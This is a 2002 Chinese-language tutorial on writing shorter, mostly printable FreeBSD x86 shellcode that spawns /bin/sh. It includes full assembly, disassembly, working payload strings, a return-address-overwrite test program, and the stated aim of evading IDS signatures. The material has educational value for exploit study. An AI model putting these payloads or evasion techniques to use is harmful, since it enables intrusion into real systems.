作者:watercloud < watercloud@nsfocus.com >
首頁:http://www.nsfocus.com
日期:2002-1-4
SHELLCODE的活力在於其功能,如果在能夠完成功能的前提下又能比較"優美",那麼就
更能體現shellcode的魅力.
個人認為shellcode的優美能在兩個地方表現:
<1> shellcode本身應該盡量的短小.
<2> shellcode的書寫也應該盡量的短小,並且盡量使用能書寫為ascii碼的機器碼.
舉例來講如下兩個都是FreeBSD下的shellcode,都是新開一個shell
char shellcode_1[38]=
"/xeb/x17/x5e/x31/xc0/x88/x46/x07/x89/x76/x08/x89/x46/x0c/x8d/x5e"
"/x08/x50/x53/x56/x56/xb0/x3b/xcd/x80/xe8/xe4/xff/xff/xff/bin/sh";
char shellcode_2[24]=
"1/xc0Ph//shh/binT[PPSS4;/xcd/x80";
很顯然shellcode_2比shellcode_1要短小精幹.首先大小上shellcode_1的機器碼為37
位元組,shellcode_2
的機器碼為23位元組;其次從書寫上shellcode_1為127位元組,shellcode_2為32位元組.
從中我們可以看到美化我們的shellcode主要也是從兩個方面著手.首先盡量使自己的
代碼變小,其次盡量使用
能書寫為ascii碼的機器碼/彙編碼.
當然盡量使用ascii碼的好處不緊緊是使shellcode看起來美觀,更重要的是現在越來
越多的防火強和IDS都開始將
網上流行的shellcode作為識別關鍵字,這就是說越是接近字串的shellcode越能躲過
他們的檢測.
以下我們通過簡化FreeBSD上的具體shellcode來講述美化shellcode.
首先讓我們來開始編寫一個簡單的shellcode程式.
寫如下程式test.c
/* test.c for test shellcode */
#include<stdio.h>
void main()
{
char *arg[2];
arg[0] = "/bin/sh";
arg[1] = NULL;
execve(arg[0], arg, NULL);
}
編譯: gcc test.c -static -o test
用gdb來看看其系統調用是如何傳遞參數的: gdb test
(gdb) disass execve
Dump of assembler code for function execve:
0x8048254 <execve>: lea 0x3b,%eax
0x804825a <execve+6>: int $0x80
可以看到其參數傳遞是通過堆棧進行的,這使得編寫shellcode更是簡單.
總結一下就是 int $0x80 前 al中放人0x3b 並且堆棧中依次放入
高地址:
^ [指向執行命令的指標 ]
| [指向命令列參數的指標]
| [指向環境變數的指標 ]
| [execve函數返回地址 ]
低地址
就一切搞定!
寫一個小程式 t.c
main(){}
gcc -S t.c
得到彙編架構程式t.s
cat t.s
.file "t.c"
.version "01.01"
gcc2_compiled.:
.text
.p2align 2,0x90
.globl main
.type main,@function
main:
pushl %ebp
movl %esp,%ebp
.L2:
leave
ret
.Lfe1:
.size main,.Lfe1-main
.ident "GCC: (GNU) c 2.95.3 [FreeBSD] 20010315 (release)"
好了我們得到了一個組譯工具架構了,在此基礎上簡化一下,編寫一個組譯工具test.s
如下
.text
.p2align 2,0x90
.globl main
.type main,@function
main:
jmp next
real:
popl %esi ; esi指向"/bin/sh"
xorl %eax,%eax ; eax=0
movb %al,0x7(%esi) ; "/bin/sh"後添加一個'/0'
movl %esi,0x8(%esi) ; 在"/bin/sh/0"後面構造char *arg[2]; arg[0]=esi
指向"/bin/sh"
movl %eax,0xc(%esi) ; arg[1]=0
leal 0x8(%esi),%ebx ; ebx相當於arg
pushl %eax ; 壓入0 相當於壓入execve(arg[0],arg,NULL)中的
NULL
pushl %ebx ; 壓入arg
pushl %esi ; 壓入arg[0] 即"/bin/sh"的開始地址
pushl %esi ; execve的返回地址,這裡就隨便給一個就行了
movb $0x3b,%al
int $0x80
next:
call real
.string "/bin/sh"
.end
.size main,.end-main
編譯: gcc test.s -o test
運行看看
bash-2.05$ ./test
Bus error (core dumped) 奇怪!
想想看程式碼片段預設是唯讀不可寫而"/bin/sh"放在程式碼片段中,我們在其後構造char
*arg[2]
向裡邊賦值肯定出錯.
解決辦法:把test.s開頭的.text改為.data告訴gcc這裡的資料可讀可寫,作資料區段,
嘿嘿
修改後再編譯,再運行
bash-2.05$ ./test
$
看成功了!
我們來看看其機器碼objdump -D test
其中我們可以看到:
. . . .
080494c0 <main>:
80494c0: eb 17 jmp 80494d9 <next>
080494c2 <real>:
80494c2: 5e pop %esi
80494c3: 31 c0 xor %eax,%eax
80494c5: 88 46 07 mov %al,0x7(%esi)
80494c8: 89 76 08 mov %esi,0x8(%esi)
80494cb: 89 46 0c mov %eax,0xc(%esi)
80494ce: 8d 5e 08 lea 0x8(%esi),%ebx
80494d1: 50 push %eax
80494d2: 53 push %ebx
80494d3: 56 push %esi
80494d4: 56 push %esi
80494d5: b0 3b mov $0x3b,%al
80494d7: cd 80 int $0x80
080494d9 <next>:
80494d9: e8 e4 ff ff ff call 80494c2 <real>
. . . . .
摘取下來作為我們的shellcode如下:
"/xeb/x17/x5e/x31/xc0/x88/x46/x07/x89/x76/x08/x89/x46/x0c/x8d/x5e
/x08/x50/x53/x56/x56/xb0/x3b/xcd/x80/xe8/xe4/xff/xff/xff/bin/sh";
共37位元組。
測試一下:寫一個測試程式testshell.c如下
#include<stdio.h>
char sh[]=
"/xeb/x17/x5e/x31/xc0/x88/x46/x07/x89/x76/x08/x89/x46/x0c/x8d/x5e"
"/x08/x50/x53/x56/x56/xb0/x3b/xcd/x80/xe8/xe4/xff/xff/xff/bin/sh";
main()
{
long p[1];
p[2]=sh;
}
編譯運行:
bash-2.05$ gcc testshell.c -o testshell
testshell.c: In function `main':
testshell.c:7: warning: assignment makes integer from pointer without a cast
bash-2.05$ ./testshell
$
成功是成功了,但我們發行代碼很長,其主要代碼花費在構造並賦值給char * arg[2]
上.
那麼我們看看execve("/bin/sh",0,0);在FreeBSD上能用嗎.(註:在Linux上不行,必須
給命令列參數
argv[0]賦值)
寫一個測試程式test.c
int main(){execve("/bin/sh",0,0)}
編譯並運行:
bash-2.05$ gcc test.c
test.c: In function `main':
test.c:2: warning: return type of `main' is not `int'
bash-2.05$ ./a.out
$
看來在FreeBSD上編寫shellcode更加簡單了。不用構造命令列參數那麼就簡單多了.
再寫一個test.s編譯後用objdump -D test 看到如下:
080494c0 <main>:
80494c0: eb 0e jmp 80494d0 <next>
080494c2 <real>:
80494c2: 5e pop %esi
80494c3: 31 c0 xor %eax,%eax
80494c5: 88 46 07 mov %al,0x7(%esi)
80494c8: 50 push %eax
80494c9: 50 push %eax
80494ca: 56 push %esi
80494cb: 56 push %esi
80494cc: b0 3b mov $0x3b,%al
80494ce: cd 80 int $0x80
080494d0 <next>:
80494d0: e8 ed ff ff ff call 80494c2 <real>
這次的shellcode就變成了:
"/xeb/x0e/x5e/x31/xc0/x88/x46/x07/x50/x50/x56/x56/xb0/x3b/xcd/x80/xe8/xed/xf
f/xff/xff/bin/sh"
共28位元組.
接下來我們把他換個寫法,裡邊凡是能用字元表示的我們就用字元書寫:
"/xeb/x0e^1/xc0/x88F/aPPVV/xb0;/xcd/x80/xe8/xed/xff/xff/xff/bin/sh"
看精簡多了吧!
但由於"/x88F"在c語言的字串中好像有特殊含義,不是很清楚,因為
main(){printf("/x88F");}在編譯時間
warning: escape sequence out of range for character
看來只能寫成:
"/xeb/x0e^1/xc0/x88F""/aPPVV/xb0;/xcd/x80/xe8/xed/xff/xff/xff/bin/sh"
把它分為兩段字串來寫。
其中能使用字元的ascii範圍為:0x21 - 0x7E 和幾個特殊字元
0x7 -- '/a'
0x8 -- '/b'
0xc -- '/f'
0xb -- '/v'
0xd -- '/r'
0xa -- '/n'
查一下彙編手冊我們就可以知道哪些彙編語句對應的機器碼可用字元書寫.
不過Phrack57上已經有人總結了,我們也就不用如此費神了引用過來如下:
hexadecimal opcode | char | instruction
-------------------+------+--------------------------------
30 </r> | '0' | xor <r/m8>,<r8>
31 </r> | '1' | xor <r/m32>,<r32>
32 </r> | '2' | xor <r8>,<r/m8>
33 </r> | '3' | xor <r32>,<r/m32>
34 <imm8> | '4' | xor al,<imm8>
35 <imm32> | '5' | xor eax,<imm32>
36 | '6' | ss: (Segment Override Prefix)
37 | '7' | aaa
38 </r> | '8' | cmp <r/m8>,<r8>
39 </r> | '9' | cmp <r/m32>,<r32>
41 | 'A' | inc ecx
42 | 'B' | inc edx
43 | 'C' | inc ebx
44 | 'D' | inc esp
45 | 'E' | inc ebp
46 | 'F' | inc esi
47 | 'G' | inc edi
48 | 'H' | dec eax
49 | 'I' | dec ecx
4A | 'J' | dec edx
4B | 'K' | dec ebx
4C | 'L' | dec esp
4D | 'M' | dec ebp
4E | 'N' | dec esi
4F | 'O' | dec edi
50 | 'P' | push eax
51 | 'Q' | push ecx
52 | 'R' | push edx
53 | 'S' | push ebx
54 | 'T' | push esp
55 | 'U' | push ebp
56 | 'V' | push esi
57 | 'W' | push edi
58 | 'X' | pop eax
59 | 'Y' | pop ecx
5A | 'Z' | pop edx
61 | 'a' | popa
62 <...> | 'b' | bound <...>
63 <...> | 'c' | arpl <...>
64 | 'd' | fs: (Segment Override Prefix)
65 | 'e' | gs: (Segment Override Prefix)
66 | 'f' | o16: (Operand Size Override)
67 | 'g' | a16: (Address Size Override)
68 <imm32> | 'h' | push <imm32>
69 <...> | 'i' | imul <...>
6A <imm8> | 'j' | push <imm8>
6B <...> | 'k' | imul <...>
6C <...> | 'l' | insb <...>
6D <...> | 'm' | insd <...>
6E <...> | 'n' | outsb <...>
6F <...> | 'o' | outsd <...>
70 <disp8> | 'p' | jo <disp8>
71 <disp8> | 'q' | jno <disp8>
72 <disp8> | 'r' | jb <disp8>
73 <disp8> | 's' | jae <disp8>
74 <disp8> | 't' | je <disp8>
75 <disp8> | 'u' | jne <disp8>
76 <disp8> | 'v' | jbe <disp8>
77 <disp8> | 'w' | ja <disp8>
78 <disp8> | 'x' | js <disp8>
79 <disp8> | 'y' | jns <disp8>
7A <disp8> | 'z' | jp <disp8>
看!有點啟發了吧.
看看我們以前的代碼:
080494c0 <main>:
80494c0: eb 0e jmp 80494d0 <next> ;能用
je/jn/jb...就好了
080494c2 <real>:
80494c2: 5e pop %esi
80494c3: 31 c0 xor %eax,%eax ;放到main開頭的話
就能用je代替jmp了
80494c5: 88 46 07 mov %al,0x7(%esi)
80494c8: 50 push %eax
80494c9: 50 push %eax
80494ca: 56 push %esi
80494cb: 56 push %esi
80494cc: b0 3b mov $0x3b,%al ;可以用xorb
$0x3b,%al
80494ce: cd 80 int $0x80
. . . . .
修改之後如下:
080494c0 <main>:
80494c0: 31 c0 xor %eax,%eax
80494c2: 74 0c je 80494d0 <next>
080494c4 <real>:
80494c4: 5f pop %edi
80494c5: 50 push %eax
80494c6: 50 push %eax
80494c7: 57 push %edi
80494c8: 57 push %edi
80494c9: 88 47 07 mov %al,0x7(%edi)
80494cc: 34 3b xor $0x3b,%al
80494ce: cd 80 int $0x80
080494d0 <next>:
80494d0: e8 ef ff ff ff call 80494c4 <real>
對應代碼為:
"1/xc0t/f_PPWW/x88G/a4;/xcd/x80/xe8/xef/xff/xff/xff/bin/sh"
共28位元組,書寫57位元組.
看,又簡化寫了吧.
現在代碼主要浪費在了call real 和給"/bin/sh"最後一位元組添加'/0'上了,我們能不
能
打破
jmp next
real:
. . .
next:
call real
.string "/bin/sh"
這一體系呢?
問題的關鍵在於FreeBSD上我們的shellcode只要一個字串,資料量很小,我們完全可
以
考慮用堆棧存放該字串。
我們事先將"/bin/sh" push到堆棧中。
但字串要以/0結尾所以我們還是需要在其後添加/0,我們可以先push一個 0到堆棧中
去
而/bin/sh為7個字元,我們可以用/bin//sh代替,效果相同。
以此為思路我們最終編寫如下:
0804847c <main>:
804847c: 31 c0 xor %eax,%eax
804847e: 50 push %eax ; pushl 0
804847f: 68 2f 2f 73 68 push $0x68732f2f ; pushl
"file://sh"
8048484: 68 2f 62 69 6e push $0x6e69622f ; pushl "/bin"
8048489: 54 push %esp
804848a: 5b pop %ebx ; 取得"/bin/sh"地
址
804848b: 50 push %eax
804848c: 50 push %eax
804848d: 53 push %ebx
804848e: 53 push %ebx
804848f: 34 3b xor $0x3b,%al
8048491: cd 80 int $0x80
對應shellcode為:
"1/xc0Ph//shh/binT[PPSS4;/xcd/x80"
當然我們也可以將 xor %eax,%eax 寫為:
pushl $0x32323232 ; pushl "2222"
popl %eax
xorl $0x32323232,%eax
這樣整個shellcode中就只剩下/xcd/x80不是字元了,但好像有點得不償失。
最後是不是想把/xcd/x80也給換一換?
不過不要太樂觀了,要替換掉它就有點難度了,這得要操作具體的esp位置,這裡
就不多作討論了,有興趣可參見phrack57#
個人的一點愚見,忘大家指正。
參考:
微軟masm32 v6 協助手冊
phrack57# Writing ia32 alphanumeric shellcodes